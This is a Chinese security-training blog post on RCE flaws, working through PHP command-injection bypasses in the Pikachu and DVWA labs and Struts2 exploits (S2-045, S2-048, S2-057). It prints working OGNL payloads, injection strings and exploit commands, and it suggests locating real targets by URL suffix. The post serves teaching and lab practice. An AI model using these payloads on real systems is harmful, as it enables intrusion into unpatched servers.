RCE漏洞

远程代码执行 remote  code execute
远程命令执行 remote command execute
远程代码执行包含远程命令执行(通过代码调用系统命令)

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。


现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"

测试

1.对pikachu网站的命令执行的地方抓包看效果

看代码

代码中方法解释:

stristr方法:
   查找 "world" 在 "Hello world!" 中的第一次出现,并返回字符串的剩余部分:
   <?php
   echo stristr("Hello world!","WORLD");
   ?>    
   结果: world!
   
php_uname方法:
php_uname — 返回运行 PHP 的系统的有关信息。
原型:string php_uname ([ string $mode = “a” ] )。返回运行php的操作系统的相关描述,
和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量
PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。
参数:
mode 是单个字符,用于定义要返回什么信息:
‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
   ’s’:操作系统名称。例如: FreeBSD。
   ‘n’:主机名。例如: localhost.example.com。
   ‘r’:版本名称,例如: 5.1.2-RELEASE。
   ‘v’:版本信息。操作系统之间有很大的不同。
   ‘m’:机器类型。例如:i386。
      示例
   echo php_uname('s');   windows、linux等    


shell_exec  #执行系统指令          
示例: shell_exec('ping','192.168.0.25')    

大家发现这个代码中并没有对系统指令数据进行任何的过滤,那么如果我们执行如下指令 ping
192.168.0.25 & ipconfig 或者 ping 192.168.0.25 && ipconfig ,两个指令都执行了,效果如下: 注:一个&和两个&是有些区别的,一个&:如果前一个指令错了,后面的指令照样会执行 两个&:如果前一个指令执行错了,那么后面的指令就不会执行了。

那么回到pikachu,我们就可以执行任意我们想执行的指令了

那么我们同样是可以执行添加用户的指令的,有同学说,这里显示不全啊,那是pikachu的处理,不用理会,关注我们的指令是否执行了。
 
 
2.对dvwa中的进行测试

低安全级别的时候:

可以看到和pikachu差不多的,这里就不演示了,我们直接看安全中级的效果

加上了过滤条件,将两个&和分号给替换了,但是我们想绕过的话,一个&符号就可以了,这就属于程序员没有考虑好。

再来看高安全级别的,添加的符号就多了,有细心的同学可能发现,这里有一个&,那么我们使用两个&&是不是可以绕过啊,答案是不可以的,这个取决于它使用的替换方法:

看两个&&,也是不能绕过的。

 
那么高安全级别的如何绕过呢? | ,注意看,高级别的防范中,有一个||和一个| ,而一个管道符号的仔细看的话,其实后面还有一个空格,那么我们就可以使用一个|并且不带空格来进行绕过。看示例:果然成功了。所以做代码审计,就是要细致!

再看它没有漏洞的级别,没有使用符号黑名单的形式,而是对你给我的数据进行 . 分割,然后看你每个部分是不是数字,这就比较狠了。

dvwa的总结:

low &&  
Medium & 或&;&    
High | (代码里面的|后有一个空格)

php中可以执行系统命令的函数

下面的最少记住三个,因为你们如果做代码审计,找命令执行漏洞的话,就找这个关键字。

exec,shell_exec,``(反单引号,这个以前用来过
waf),system,passthru,pcntl_exec,popen,proc_open  

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

php中执行代码的方法

代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate,
gzuncompress, gzdecode, str_rot13

测试

1.pikachu

比如执行phpinfo();函数

效果

看到了指令执行结果,这就是远程代码执行。很多运维自动化平台(devops),都有这种指令执行漏洞或者代码执行漏洞

(1)执行系统命令: assert,exec,shell_exec,``(反单引
号),system,passthru,pcntl_exec,popen,proc_open
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate,
gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once,
file_get_contents, file_put_contents, fputs, fwrite
(
pikachu   phpinfo();
(5)struts2命令执行漏洞攻防演示
历史漏洞:https://www.seebug.org/search/?keywords=struts2

struts2命令执行漏洞攻防演示

Struts2是基于MVC设计模式的流行和成熟的Web应用程序框架。Struts2并不只是Struts 1下一个版本,WebWork框架开始了与Struts框架为基础,一段时间后,WebWork框架和Struts社区联手打造著名的Struts2框架。但它是一个完全重写的Struts架构。是在 struts 1 和 WebWork 的技术基础上进行了合并的全新的 Struts 2 框架。其目标是建立在Struts的Web开发更容易为开发人员提供了加强和改进的框架。其全新的 Struts 2 的体系结构与 Struts 1 的体系结构差别巨大。 Struts 2 以 WebWork 为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 Servlet API 完全脱离开,所以 Struts 2 可以理解为 WebWork 的更新产品。虽然从 Struts 1 到 Struts 2 有着太大的变化,但是相对WebWork,Struts 2 的变化很小。

演示命令执行漏洞,大家用的比较多的就是struts2,并且struts2漏洞很多,我们去知道创宇搜索一下https://www.seebug.org/search/?keywords=struts2 ,如果想利用的话,直接在kali上通过漏洞编
号就能搜索到 ,wooyun:http://wy.zone.ci/

2020年之前基本每年都有漏洞,而且漏洞一般都是通杀所有使用struts2框架的网站。有时候别人会问你,你经常在哪些网站查一些新的漏洞啊?以前在wooyun上,但是后来被禁用了,后来在知道创宇上查、还有国内比较好的https://www.freebuf.com/,这个网站经常更新,等等。


每个漏洞都可以点击进去查看详细信息,比如影响的哪个版本,漏洞利用过程啊之类的

首先,我们如果想判断某个网站是不是struts2开发的,那么很明显的一个特点就是,他的网页网址后缀名基本都是.action或者.do,我们直接可以通过各大搜索引擎来搜索这种后缀名的网站。有很多网站都是struts2开发的,比如顺丰快递、土豆、德邦快递、蒙牛管理平台等等,这也是导致大家信息被公开了的原因。


好,加下来我们演示几个示例

s2-045漏洞还原

网址: http://xx.xx.xx.xx/struts2-showcase/showcase.action
效果:

K8工具漏洞利用

使用工具来进行探测,k8开发了一个综合利用工具,工具如下,但是这个工具目前的漏洞版本还是比较低的,没有将新出的漏洞更新上去


比如获取信息:用户信息、物理路径、版本信息等等

执行命令,各种指令都有,还能自己输入想要执行的指令

上传木马

查看目标服务器是否有木马文件了

访问木马文件,这是木马程序代码写的不太好昂,所以看不出什么效果。大家可以试试它提供的其他的木马程序,它的木马程序都不是很好用。

s2-48过程

struts2 S2-048远程代码执行漏洞exp, C:\>struts048.py http://192.168.0.27/struts2-
showcase/showcase.action "ipconfig"

点击进去看详情,有些参考网址,但是poc没有公开。

这个漏洞,通过一个python脚本就能搞定,如下文件,我已经放到工具文件夹中了,比如我将这个文件放到我win10_tools虚拟机的c盘tools文件夹中了,然后执行系统指令

看到了指令执行结果,注意python用的2.7版本

s2-057漏洞

这个是一个比较新的漏洞,2018年出的,虽然是一个高危漏洞,但是复现这个漏洞其实比较繁琐,不能直接执行操作系统指令的

影响的版本也比较多

我们通过burp来测它吧,因为网上没有找到相应的工具,并且我们不能直接利用这个漏洞,需要修改一下源代码
修改方式如下:

首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace"value="true" />

文件在这里

将搜索到的两个文件中都加上上面的代码
第一个文件:

第二个文件:

其次:修改配置文件struts-actionchaining.xml

通过搜索发现也是两个文件,那么两个文件也都是需要修改,删掉namespace属性,或使用了通配符*,最后把type="chain"改成type="redirectAction"
第一个文件:

第二个文件:

修改之后记得都要保存一下,然后重启jspstudy

然后我们来访问这个网址: http://xx.xx.xx.xx/struts2-showcase/actionChain1.action ,经测
试,这个网址是有这个漏洞的,我们直接访问这个网址,然后添加我们的payload攻击代码。添加
payload之后的网址 http://xx.xx.xx.xx/struts2-showcase/${(1+1)}/actionChain1.action

好,我们就可以执行我们的payload了,不过我最近测试好像不行了。

打开计算器
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRu
ntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

我们通过命令执行来启动目标主机的计算器
http://xx.xx.xx.xx/struts2 -                                    showcase/${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/actionChain1.action
 

访问这个网址:

看一下目标主机,计算器被打开了。

不管我们找到的两个payload有没有执行成功,我们其实已经发现,这个漏洞是存在的。虽然这个漏洞是高危漏洞,但是大家发现利用起来是比较麻烦的。K8工具没有最新的漏洞利用,2017年之后的漏洞,这个工具也都不好用了。大家最好记住我们演示的几个漏洞名称和大致利用流程昂。

s2-052漏洞

这个大家自己来练习昂,网上已经公布了poc,这个漏洞针对的是struts 2.5-2.5.12,我们现在用的是2.3.15.1版本,大家直接在网上找即可,然后自己玩一玩。参考:https://www.cnblogs.com/lanqie/p/7488850.html和https://www.cnblogs.com/Hi-blog/p/7510987.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值